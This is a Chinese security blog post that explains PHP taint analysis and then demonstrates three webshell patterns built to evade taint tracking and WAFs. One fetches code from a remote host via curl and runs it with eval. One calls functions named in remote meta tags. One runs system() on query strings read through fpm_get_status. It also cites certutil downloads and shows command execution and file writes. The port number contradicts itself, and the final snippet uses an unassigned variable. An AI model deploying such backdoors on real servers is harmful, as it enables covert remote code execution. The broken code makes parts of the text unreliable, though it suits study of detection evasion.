免责声明 本文全部实验操作均在本人完全可控的自建本地靶场环境完成,文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》,未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。
严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途,一切法律责任由行为人本人承担,与本文作者无关。
个人水平有限,如有不足欢迎指正。
**摘要:**本文从污点分析中的污点源识别、污点传播与污点汇聚检测讲起,重点介绍三种绕过常规污点追踪的思路:利用 CURL 从远程下载文本后交给 eval 执行;利用 get_meta_tags 读取远端 meta 标签作为函数名与参数;利用 fpm_get_status 从 PHP-FPM 进程状态中获取 query-string 并交给 system 执行。文章还结合本地靶场实验说明 URL 编码、Windows 写入文件以及 urldecode 解码细节。
污点分析(Taint Analysis)是一种静态程序分析技术,用于追踪潜在的恶意数据 (污点)在程序中的传播,以检测和防止安全漏洞。以下是污点追踪的过程和原理:
污点追踪过程
污点源( Taint Sources )识别 :
污点源是程序中接收外部输入的地方 ,如用户输入、文件读取、网络请求等。分析工具会将这些输入标记为**"污点"。**
示例:_GET\['input'\]、_POST'data' 等。
污点传播( Taint Propagation ) :
污点数据通过变量赋值、函数参数传递、数据结构操作等方式在程序中传播。工具会跟踪这些传播路径,确保所有直接或间接受到污点数据影响的变量都被标记为污点。
示例:
$tainted = $_GET['input'];
$safe = $tainted; // $safe 也被标记为污点
污点消毒( Sanitization )识别 :
在程序中,某些操作或函数可以"消毒"数据,使其不再被视为污点。常见的消毒操作包括输入验证、转义、编码等。分析工具会识别这些消毒操作,并在数据通过这些操作后取消其污点标记。
示例:
$tainted = $_GET['input'];
$clean = htmlspecialchars($tainted, ENT_QUOTES, 'UTF-8'); // $clean 被视为已消毒
htmlspecialchars()
作用:把 HTML 特殊符号,转成浏览器 "只当做文字显示" 的实体编码,浏览器不再把它当成标签 / JS 代码执行
污点汇聚( Taint Sinks )检测 :
污点汇聚是程序中使用敏感操作的地方,如数据库查询、输出到浏览器、文件写入等。如果污点数据到达这些汇聚点而未被消毒,就可能导致安全漏洞。
工具会检查污点数据是否在未经消毒的情况下到达敏感操作,从而检测潜在的安全风险。
示例:
$tainted = $_GET['input'];
$query = "SELECT * FROM users WHERE name = '$tainted'"; // 潜在的 SQL 注入风险
1.CURL引入参数
案例:
curl_setopt(resource ch , int option , mixed value):给 curl 会话设置各种请求选项参数。ch:curl_init() 返回的 curl 句柄(资源对象)
$option:预定义常量,配置项
$value:给这个配置项设置的值
mixed 是 PHP 文档里的伪类型 ,不是真实数据类型。含义:这个参数**/** 返回值,可以接收多种不同类型的数据 。
<?php
$url="http://x/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
| 参数 | 作用 |
|---|---|
| CURLOPT_URL | 请求目标 URL |
| CURLOPT_SSL_VERIFYPEER=FALSE | 关闭对等证书校验,不验证 HTTPS 证书真假 |
| CURLOPT_SSL_VERIFYHOST=FALSE | 不校验证书主机名 |
| CURLOPT_RETURNTRANSFER=1 | 返回响应到变量,而不是直接输出到屏幕 |
| CURLOPT_HTTPHEADER | 设置自定义请求头数组 |
CURLOPT_RETURNTRANSFER = 0 默认关闭
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
output = curl_exec(ch);
- 远程响应 body直接打印输出到网页,不会存入变量,,为1时存储进变量
- $output 只拿到布尔值:成功返回true,失败返回false。
curl_setopt只是设置,不访问网络;curl_exec()发起真实网络请求,获取响应数据。
作用:
- PHP 使用 curl 发起 HTTP 请求,从外部远程服务器下载文本内容保存到变量 $output
- 将拿到的远程字符串直接传入 eval()
eval 会把普通字符串当作 PHP 代码解析执行,这里的 eval 很特殊,要不要来拦截是个问题:恶意代码由服务器后端 curl 远程拉取,攻击载荷不出 HTTP 请求流量,WAF 无法检测和拦截,属于 WAF 解析差异绕过。
原理:
将原本可被识别的用户输入污点数据,转换为非预定义污点来源的数据,使危险函数接收到的数据不再被标记为污点,从而绕过污点检测。
假设远程 http://x/1.txt 攻击者写入恶意内容:
system('whoami');
程序运行流程:
- curl 请求拉取 1.txt → $output = "system('whoami');"
- eval($output); 等价于服务器本地执行代码:
示例

python3 -m http.server 99999
启动一个临时简易 Web 服务器,把当前目录下的所有文件对外提供****HTTP 访问 。 0.0.0.0代表监听本机全部网卡,其他主机可访问;访问地址:http://IP:9999/文件名,但9999不是常见的端口,也可能被拦截
能成功执行,基于此如果把1.txt中的内容换成其他的这可以执行RCE。或者再写入其他的后面文件。

2.get_meta_tags引入参数



利用
<?php
get_meta_tags("http://x/1")["author"](get_meta_tags("http://x/1")["keywords"]);
?>
get_meta_tags("http://x/1")\["author"]:拿到 meta 的 author 值,作为函数名。( ... ):后面括号代表函数调用,括号内为传入参数

攻击载荷保存在远端index.html,Web 服务访问目录会自动加载该首页文件,URL 可省略文件名实现缩短;恶意特征存放在 meta 标签,不在外部请求中暴露,用于绕过 WAF。

但是在实践练习中容易发现,只要keywords的值固定时才能成功,但是也可以通过直接固定写后面的命令实现getshell

在windows下经过尝试echo "phpinfo()" >aaaa.php等这种常规方法发现并不能实现写下文件。怎么实现,下载?然后使用copy改名
certutil -urlcache -split -f
3.fpm_get_status
仅在 PHP‑FPM 模式下可用

官方提示,此函数没有参数,作用是:返回PHP‑FPM 进程池完整运行状态数组PHP

通过fpm_get_status()可以读取到 GET 请求的提交参数,参数存放在返回数组的****procs 子数组内,其中query‑string字段即为 GET **请求的原始查询字符串,**无需 PHP 脚本通过$_GET接收,直接读取 PHP‑FPM 进程内存中保存的 HTTP 请求元数据就能拿到 GET 参数。
既然这样,可以构造出这样的语句:system里面的值并不是$_GET之类的危险函数,可以实现不被污点追踪到,
由于无法确定****payload 会被存入哪一个 FPM worker 进程下标中 ,因此遍历 FPM 全部 worker 进程对应的 procs 数组,逐个取出每个进程内存中保存的query‑string原始 GET 查询字符串,将其直接传入system()函数尝试执行系统命令。
<?php
foreach(fpm_get_status()["procs"] as $val){
system($val["query-string"]);
}
成功执行whoami

在尝试写入时发现,部分内容被转义,并没有成功写入,浏览器地址栏输入 payload 会自动 URL 编码,FPM 内存中将保存编码后的字符串,造成 shell 解析失败 。使用 Burp Suite 构造原始 HTTP 请求,绕过浏览器自动编码,传入原始特殊字符,使命令可以正常解析执行。于是使用 burpsuit 抓包再次尝试,避免转义

这样尝试成功创建了文件,但是文件并没有内容,猜想可能是因为内容中部分被编码导致命令没有成功执行

于是先解码,经过urldecode() 解码后重定向功能恢复正常,最终可以成功将 PHP 代码写入文件。
<?php
foreach(fpm_get_status()["procs"] as $val){
if(!empty($qs)){
$decoded = urldecode($qs); //手动解码URL编码字符,还原 > < 等符号
system($decoded);
}
}
urldecode()
PHP 内置函数:URL 解码,把百分号编码还原回原始字符。